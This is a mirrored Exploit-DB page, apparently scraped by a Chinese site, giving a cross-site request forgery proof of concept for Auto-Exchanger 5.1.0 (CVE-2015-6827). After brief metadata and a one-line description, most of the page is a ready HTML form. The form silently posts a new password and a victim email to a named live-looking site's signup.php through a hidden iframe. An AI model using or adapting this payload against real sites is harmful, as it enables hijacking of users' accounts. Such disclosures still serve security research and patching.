Auto-Exchanger 5.1.0 – Cross-Site Request Forgery - 体验盒子

作者： Aryan Bayaninejad

日期： 2015-09-09

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/38119/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

<!--

# Exploit Title: [Auto-exchanger version 5.1.0 Xsrf]

# Date: [2015/06/05]

# Exploit Author: [Aryan Bayaninejad]

# Linkedin : [https://www.linkedin.com/profile/view?id=276969082]

# Vendor Homepage: [www.auto-exchanger.com]

# Version: [Version 5.1.0]

# Demo : www.farhadexchange.com

# CVE : [CVE-2015-6827]

------------------------------------

details:

------------------------------------

auto-exchanger version 5.1.0 suffers from an xsrf vulnerability , attacker

is able to abuse of this vulnerability to change password by a hidden

iframe in another page.

-------------------------------------

Exploit:

-------------------------------------

-->

<html>

<body>

<form method='POST' action='http://farhadexchange.com/signup.php'

target="xsrf-frame" id="xsrf-form">

<input type='hidden' maxlength="20" size="30" name="password0"

id="password0" value="testpassword123456" ></label>

<input type="hidden" maxlength="20" size="30" name="password1"

id="password1" value="testpassword123456" ></label>

<INPUT type='hidden' maxLength=60 size=30 name="mail" id="mail"

value="victim_email" type="text">

</label>

<input type='hidden'name="country" id="country"style="width:196;"

value="IR">

</label>

</label>

<INPUT type='hidden' maxLength=60 size=30 name="curreny_account"

id="curreny_account" value="" ><br>

</label>

</form>

</body>

</html>